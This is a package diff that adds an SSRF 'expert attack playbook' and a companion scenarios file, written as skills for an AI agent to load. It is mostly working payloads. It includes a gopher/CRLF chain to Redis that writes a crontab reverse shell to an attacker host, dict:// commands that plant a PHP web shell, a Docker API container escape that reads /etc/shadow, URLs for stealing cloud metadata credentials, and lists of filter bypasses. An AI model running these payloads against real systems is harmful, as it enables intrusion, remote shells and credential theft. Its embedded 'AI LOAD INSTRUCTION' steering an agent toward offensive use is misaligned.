ineedcodes 1.6.0 → 1.7.0

package/skills/ssrf-server-side-request-forgery/SCENARIOS.md

@@ -0,0 +1,226 @@
+# SSRF — Extended Scenarios & Real-World Cases
+
+> Companion to [SKILL.md](./SKILL.md). Contains additional CVE case studies, advanced bypass techniques, and chaining scenarios.
+
+---
+
+## 1. CVE Case: WebLogic SSRF (CVE-2014-4210)
+
+WebLogic's UDDI Explorer component exposes SSRF via the `operator` parameter:
+
+```
+GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
+```
+
+**Exploitation chain — SSRF → Redis → RCE**:
+
+```bash
+# Step 1: Port scan internal network via SSRF
+# Open port: fast response / "could not connect" error
+# Closed port: timeout / different error
+
+# Step 2: Hit internal Redis (6379) via SSRF with crafted payload
+operator=http://INTERNAL_REDIS_IP:6379/test%0D%0A%0D%0Aset%201%20%22%0A%0A%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER%2F4444%200%3E%261%0A%0A%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A
+
+# URL-decoded: sends Redis commands via CRLF injection in HTTP request
+# Writes crontab reverse shell
+```
+
+---
+
+## 2. DNS Rebinding — Deep Dive
+
+DNS rebinding exploits the gap between DNS resolution and actual request:
+
+```
+Step 1: Victim server resolves attacker.com → gets 1.2.3.4 (legitimate IP)
+Step 2: Server validates: "1.2.3.4 is not internal → allowed"
+Step 3: DNS TTL expires (or attacker uses TTL=0)
+Step 4: Server makes actual request → resolves attacker.com again → gets 169.254.169.254
+Step 5: Request goes to metadata endpoint → SSRF achieved
+```
+
+### Tools and Services
+
+```text
+# rbndr.us — automatic DNS rebinding service:
+# Responds with IP A first, IP B second
+http://7f000001.a]1b3c4d5.rbndr.us/
+# Returns 127.0.0.1 and 1.2.3.4 alternately
+
+# singularity — DNS rebinding attack framework:
+# https://github.com/nccgroup/singularity
+
+# Custom NS: set up authoritative DNS with TTL=0 and rotating A records
+```
+
+### Bypass Scenarios
+
+| Defense | DNS Rebinding Bypass |
+|---|---|
+| IP blacklist check at DNS resolution time | TTL=0: resolution returns safe IP → passes check → re-resolve returns internal IP |
+| Single DNS lookup cached | Use race condition: parallel requests, one resolves to external, other to internal |
+| Application pins DNS result | Not all HTTP libraries pin; some re-resolve on redirect |
+
+---
+
+## 3. CVE Case: Kubernetes SSRF (CVE-2020-8555 / CVE-2020-8562)
+
+**CVE-2020-8555**: Kubernetes kube-controller-manager's volume handling allows SSRF when creating StorageClass with `glusterfs` or `quobyte` provisioners. The controller makes HTTP requests to attacker-controlled endpoints.
+
+**CVE-2020-8562** (bypass of the fix): The fix blocked direct internal IP access but could be bypassed via DNS rebinding — attacker's DNS resolves to external IP during validation, then to internal IP during actual request.
+
+---
+
+## 4. SSRF Through PDF/Screenshot Generators
+
+Applications that generate PDFs from HTML or take screenshots of URLs are high-value SSRF targets:
+
+```html
+<!-- If HTML input is rendered to PDF: -->
+<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>
+<img src="http://internal-service:8080/admin">
+<link rel="stylesheet" href="http://169.254.169.254/latest/user-data">
+```
+
+**Common tools**: wkhtmltopdf, Chrome headless, Puppeteer, PhantomJS — all follow redirects and may access internal network.
+
+---
+
+## 5. SSRF + Gopher Protocol — Full TCP Injection
+
+Gopher protocol allows sending arbitrary TCP data. Combined with SSRF, it enables interaction with any TCP service:
+
+```text
+# SMTP — send email:
+gopher://127.0.0.1:25/_EHLO%20attacker%0D%0AMAIL%20FROM:...
+
+# MySQL — execute query (no password):
+gopher://127.0.0.1:3306/_[MYSQL_PACKET]
+
+# FastCGI/PHP-FPM — execute PHP:
+gopher://127.0.0.1:9000/_[FASTCGI_PACKET]
+
+# Tool: Gopherus generates gopher payloads for various services:
+python3 gopherus.py --exploit mysql
+python3 gopherus.py --exploit fastcgi
+python3 gopherus.py --exploit redis
+```
+
+---
+
+## 6. Filter Bypass via URL Parser Confusion
+
+Different URL parsers disagree on what constitutes "host":
+
+```text
+# These may bypass host validation:
+http://evil.com#@trusted.com/         # Fragment vs authority confusion
+http://trusted.com\@evil.com/         # Backslash as path separator
+http://trusted.com%00@evil.com/       # Null byte truncation
+http://evil.com%23@trusted.com/       # URL-encoded fragment
+http://[::ffff:7f00:1]/              # IPv6-mapped IPv4 localhost
+http://0x7f.0x00.0x00.0x01/          # Hex octets
+http://0177.0.0.1/                   # Octal
+```
+
+---
+
+## 7. EXTENDED CLOUD METADATA ENDPOINTS
+
+### AWS ECS (Container)
+
+```
+http://169.254.170.2/v2/credentials
+# Returns temporary IAM role credentials for the ECS task
+```
+
+### GCP Detailed Queries
+
+```
+http://metadata.google.internal/computeMetadata/v1/?recursive=true
+# Returns ALL metadata in one request (with Metadata-Flavor: Google header)
+http://metadata.google.internal/computeMetadata/v1beta1/
+# Legacy endpoint — may not require Metadata-Flavor header!
+```
+
+### Azure Identity Token
+
+```
+http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
+Headers: Metadata: true
+# Returns OAuth2 token for Azure management plane
+```
+
+### Alibaba Cloud (Aliyun)
+
+```
+http://100.100.100.200/latest/meta-data/
+http://100.100.100.200/latest/meta-data/ram/security-credentials/
+http://100.100.100.200/latest/meta-data/ram/security-credentials/ROLE_NAME
+```
+
+### Kubernetes
+
+```
+https://kubernetes.default.svc/api/v1/namespaces/default/secrets
+# Service account token at: /var/run/secrets/kubernetes.io/serviceaccount/token
+# CA cert at: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+
+# kubectl proxy (if running):
+http://127.0.0.1:8001/api/v1/namespaces/default/pods
+```
+
+### IPv6 Metadata Variants
+
+```
+http://[::ffff:169.254.169.254]/latest/meta-data/
+http://[fd00:ec2::254]/latest/meta-data/
+# May bypass IPv4-only filters
+```
+
+---
+
+## 8. BROWSER-SIDE DNS REBINDING & HEADLESS BROWSER ATTACKS
+
+### DNS Rebinding (Browser-Side)
+
+```
+# Different from server-side SSRF — targets victim's browser:
+# 1. Victim visits attacker.com (DNS resolves to attacker IP)
+# 2. JavaScript makes request to attacker.com (same-origin)
+# 3. DNS TTL expires, re-resolves to 127.0.0.1 or internal IP
+# 4. Browser makes same-origin request → hits internal service
+# 5. Attacker's JS reads the response (same-origin!)
+
+# Tools:
+# - Singularity of Origin (nccgroup/singularity)
+# - rbndr.us (simple rebinding service)
+
+# Protection bypasses:
+# - 0.0.0.0 resolves to localhost on many systems
+# - CNAME to localhost
+# - localhost CNAME chains
+```
+
+### Headless Browser / PDF Generator Attacks
+
+```
+# If application uses headless Chrome/Puppeteer/wkhtmltopdf to render user content:
+
+# SSRF via HTML:
+<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
+<img src="http://169.254.169.254/latest/meta-data/">
+
+# Local file read:
+<iframe src="file:///etc/passwd"></iframe>
+<script>document.write(new XMLHttpRequest())</script>
+
+# If --no-sandbox flag is used → full browser exploit potential
+
+# Remote debugging port (Chrome DevTools Protocol):
+# If port 9222 is exposed:
+http://127.0.0.1:9222/json → list debugging targets
+# Connect via WebSocket → full control of browser tabs
+# Read cookies, navigate to arbitrary URLs, execute JS
+```

package/skills/ssrf-server-side-request-forgery/SKILL.md

@@ -0,0 +1,323 @@
+---
+name: ssrf-server-side-request-forgery
+description: >-
+  SSRF playbook. Use when the server fetches URLs, resolves hostnames, imports remote content, or can be driven toward internal networks, cloud metadata, or secondary protocols.gated: true
+---
+
+# SKILL: Server-Side Request Forgery (SSRF) — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert SSRF techniques. Covers URL filter bypass, cloud metadata endpoints, protocol exploitation, blind SSRF detection, and chaining to RCE. Base models know basic 169.254.169.254 — this file covers what they miss. For real-world CVE chains, DNS Rebinding deep dives, K8s SSRF, and SSRF → Redis → RCE full exploitation, load the companion [SCENARIOS.md](./SCENARIOS.md).
+
+## 0. QUICK START
+
+### Extended Scenarios
+
+Also load [SCENARIOS.md](./SCENARIOS.md) when you need:
+- WebLogic SSRF (CVE-2014-4210) — `uddiexplorer/SearchPublicRegistries.jsp` + `operator` parameter + `%0D%0A` CRLF to inject Redis commands
+- SSRF → internal Redis → write crontab reverse shell complete payload chain
+- DNS Rebinding deep dive — TTL=0 trick, initial-legit→second-internal resolution, `rbndr.us` service
+- Kubernetes SSRF (CVE-2020-8555) and bypass (CVE-2020-8562) via DNS rebinding
+- SSRF through PDF/screenshot generators — `<iframe>` and `<img>` in HTML-to-PDF
+- Gopher protocol full TCP injection — Redis, MySQL, FastCGI payloads via Gopherus
+- URL parser confusion for filter bypass — `#@`, `\@`, `%00@`, IPv6-mapped IPv4
+
+### Advanced Reference
+
+Also load [URL_PARSER_TRICKS.md](./URL_PARSER_TRICKS.md) when you need:
+- URL parser differential table: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
+- Full cloud metadata endpoint catalog (AWS IMDSv1/v2, GCP, Azure, DigitalOcean, Alibaba Cloud, Oracle Cloud, Kubernetes, Hetzner, OpenStack)
+- gopher:// payload recipes for Redis, MySQL, SMTP, FastCGI, Memcached (with encoding rules)
+- DNS Rebinding detailed attack flow with TTL manipulation and TOCTOU analysis
+- PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF patterns and exfiltration techniques
+
+If you just found a parameter that fetches a URL, perform first-pass confirmation here directly.
+
+### First-pass payloads
+
+```text
+http://127.0.0.1/
+http://localhost/
+http://169.254.169.254/latest/meta-data/
+http://[::1]/
+http://127.1/
+```
+
+### Host validation bypass families
+
+| Validation Type | Try |
+|---|---|
+| blocks `localhost` string | `127.0.0.1`, `127.1`, `[::1]` |
+| blocks direct IP only | internal DNS name, decimal/octal/hex IP forms |
+| allowlist by prefix | username part, subdomain confusion, redirect chain |
+| follows redirects | benign external URL redirecting to internal target |
+| parses once, fetches twice | mixed encoding or DNS rebinding style targets |
+
+### Protocol routing
+
+| Goal | Protocol / Target |
+|---|---|
+| cloud credentials | metadata HTTP endpoints |
+| internal HTTP admin | `http://127.0.0.1:port/` |
+| Redis / raw TCP style abuse | `gopher://` |
+| local file read candidate | `file://` |
+| dictionary / banner tests | `dict://` |
+
+---
+
+## 1. FINDING SSRF SURFACE
+
+Look for **any parameter containing DNS names, IP addresses, or URLs**:
+
+```
+loc=           url=        path=         endpoint=
+imageUrl=      dest=       redirect=     uri=
+callback=      load=       file=         resource=
+link=          src=        data=         ref=
+```
+
+**Less obvious SSRF vectors**:
+- PDF/screenshot generation (URL to capture)
+- Webhook configuration fields
+- Import/export via URL (CSV import, RSS/Atom feeds)
+- OAuth redirect URI (sometimes triggers server-side fetch)
+- `X-Forwarded-Host` / `X-Real-IP` headers in proxy chains
+- XML `DOCTYPE` with external entity (`file://`, `http://`)
+- GraphQL `@link` directive (federation)
+- Content-Type: `text/html` pages parsed for `<link>` preload headers
+
+---
+
+## 2. BASIC CONFIRMATION METHODOLOGY
+
+```
+Step 1: Supply your Burp Collaborator / interact.sh URL
+        → Check server initiates outbound connection (full SSRF confirmed)
+
+Step 2: If no callback → test time-based (open port = fast, closed = slow/reset):
+        Compare response time for:
+        http://192.168.1.1:22   (likely open → fast)
+        http://192.168.1.1:9999 (likely closed → slow/timeout)
+
+Step 3: Try accessing localhost services:
+        http://127.0.0.1:8080
+        http://127.0.0.1:22
+        http://127.0.0.1:6379  (Redis)
+        http://127.0.0.1:9200  (Elasticsearch)
+        http://127.0.0.1:5984  (CouchDB)
+        http://127.0.0.1:2375  (Docker daemon — critical!)
+        http://127.0.0.1:4840  (internal admin)
+```
+
+---
+
+## 3. CLOUD METADATA ENDPOINTS — MUST-TRY
+
+### AWS EC2 IMDSv1 (no auth required — critical)
+```
+http://169.254.169.254/latest/meta-data/
+http://169.254.169.254/latest/meta-data/iam/security-credentials/
+http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
+http://169.254.169.254/latest/user-data
+http://169.254.169.254/latest/meta-data/hostname
+http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
+```
+
+### AWS IMDSv2 (token required — but check if SSRF can GET the token)
+```
+Step 1: PUT http://169.254.169.254/latest/api/token
+        Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
+Step 2: GET http://169.254.169.254/latest/meta-data/
+        Header: X-aws-ec2-metadata-token: TOKEN
+```
+**If SSRF supports custom headers → full IMDSv2 bypass**.
+
+### Google Cloud
+```
+http://metadata.google.internal/computeMetadata/v1/
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+Headers: Metadata-Flavor: Google
+```
+
+### Azure
+```
+http://169.254.169.254/metadata/instance?api-version=2021-02-01
+Headers: Metadata: true
+http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
+```
+
+### Alibaba Cloud
+```
+http://100.100.100.200/latest/meta-data/
+http://100.100.100.200/latest/meta-data/ram/security-credentials/
+```
+
+### Kubernetes Service Account
+```
+file:///var/run/secrets/kubernetes.io/serviceaccount/token
+file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
+http://kubernetes.default.svc/api/v1/namespaces/default/secrets
+```
+
+---
+
+## 4. IP ADDRESS FILTER BYPASS TECHNIQUES
+
+When `169.254.169.254`, `127.0.0.1`, `localhost` are blocked:
+
+### Localhost Variants
+```
+127.0.0.1
+127.1
+127.0.1
+127.000.000.001    ← octal padding
+0x7f000001         ← hex
+2130706433         ← decimal (0x7f000001)
+0177.0000.0000.0001  ← octal
+[::]               ← IPv6 loopback
+[::1]              ← IPv6 loopback
+[::ffff:127.0.0.1] ← IPv4-mapped IPv6
+```
+
+### 169.254.169.254 Variants
+```
+169.254.169.254
+2852039166               ← decimal
+0xa9fea9fe               ← hex
+0251.0376.0251.0376      ← octal
+[::ffff:169.254.169.254] ← IPv6
+169.254.169.254.nip.io   ← DNS rebinding service
+```
+
+### Private Network Ranges
+```
+10.0.0.0/8
+172.16.0.0/12
+192.168.0.0/16
+fc00::/7  ← IPv6 private
+```
+
+### Bypass Filter via DNS Input
+If filter checks DNS-resolved IP (not hostname):
+```
+http://attacker.com/  ← DNS A record points to 169.254.169.254
+```
+Use DNS rebinding: initial lookup returns valid IP → passes filter → second request returns internal IP.
+
+---
+
+## 5. URL SCHEME ATTACKS
+
+When `http://` is allowed or weakly filtered:
+
+```
+file:///etc/passwd
+file:///proc/self/environ
+file:///proc/net/arp   ← reveals internal network ARP table
+file:///proc/net/tcp   ← open network connections
+
+dict://127.0.0.1:6379/INFO   ← Redis INFO command via dict://
+
+gopher://127.0.0.1:6379/_INFO%0d%0a   ← Redis via gopher
+gopher://127.0.0.1:9200/   ← Elasticsearch
+
+sftp://attacker.com:11111/   ← triggers SFTP connection (credential hash)
+ldap://attacker.com:389/     ← triggers LDAP bind
+ftp://attacker.com/          ← triggers FTP connection
+```
+
+### Redis Gopher SSRF (full RCE potential)
+```
+gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0Aping%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
+```
+
+---
+
+## 6. BLIND SSRF DETECTION
+
+When response doesn't reflect fetched content:
+
+1. **Burp Collaborator / interact.sh**: check for DNS + HTTP request from server
+2. **Pingback/webhook abuse**: configure application's own webhook to your URL
+3. **Timing analysis**: Internal open port vs closed port response time difference
+4. **Error analysis**: Different error messages for "host not found" vs "connection refused" vs "timeout" reveal internal network topology
+
+---
+
+## 7. INTERNAL SERVICE EXPLOITATION
+
+### Docker API (2375 unauthenticated)
+```
+http://127.0.0.1:2375/v1.24/containers/json      ← list containers
+http://127.0.0.1:2375/v1.24/images/json          ← list images
+# Create privileged container → escape to host:
+POST http://127.0.0.1:2375/v1.24/containers/create
+{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}
+```
+
+### Elasticsearch (9200 no-auth default)
+```
+http://127.0.0.1:9200/_cat/indices
+http://127.0.0.1:9200/.kibana/_search
+http://127.0.0.1:9200/INDEX_NAME/_search?q=*
+```
+
+### Redis (6379 — no-auth common)
+```
+dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
+dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
+dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
+dict://127.0.0.1:6379/BGSAVE
+```
+
+### Internal Admin Panels
+```
+http://127.0.0.1:8080/admin
+http://127.0.0.1:8443/admin
+http://127.0.0.1:9000/actuator   ← Spring Boot actuator (exposed endpoints)
+http://127.0.0.1:9000/actuator/env
+http://127.0.0.1:9000/actuator/heapdump
+```
+
+---
+
+## 8. SSRF + FILTER BYPASS DECISION TREE
+
+```
+SSRF parameter found?
+├── Try http://169.254.169.254/ directly → blocked?
+│   ├── Try decimal/hex/octal variants
+│   ├── Try IPv6 variants [::ffff:169.254.169.254]
+│   ├── Try DNS rebinding (nip.io, custom NS)
+│   └── Try redirect: attacker.com → 169.254.169.254 (302)
+│
+├── Try http://127.0.0.1/ → blocked?
+│   ├── Try 127.1 / 127.0.1 / 0x7f000001 / 2130706433
+│   ├── Try localhost → might not be blocked
+│   └── Try IPv6 [::1]
+│
+├── What protocols are allowed?
+│   ├── dict:// → test Redis, Memcached
+│   ├── gopher:// → full TCP data injection (target Redis/SMTP)
+│   ├── file:// → local file read
+│   └── sftp:// ldap:// ftp:// → network interactions
+│
+└── Blind SSRF → use Burp Collaborator
+    └── DNS-only → use DNS rebinding or SSRF with OOB DNS
+```
+
+---
+
+## 9. THE SSRF-FILTER MINDSET
+
+From zseano's methodology: **if developers filter only `169.254.169.254` directly but not `http://169.254.169.254/latest/meta-data`** (full path), or forget about:
+- IPv6 equivalents  
+- DNS names that resolve to internal IPs
+- Redirect chains (server follows 302 to internal IP)
+
+**Classic gap**: App filters `127.0.0.1` but not `127.1` or `[::1]` or `localhost`.
+
+**Application-layer SSRF via XML** (when app parses XML):
+```xml
+<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
+<request>&xxe;</request>
+```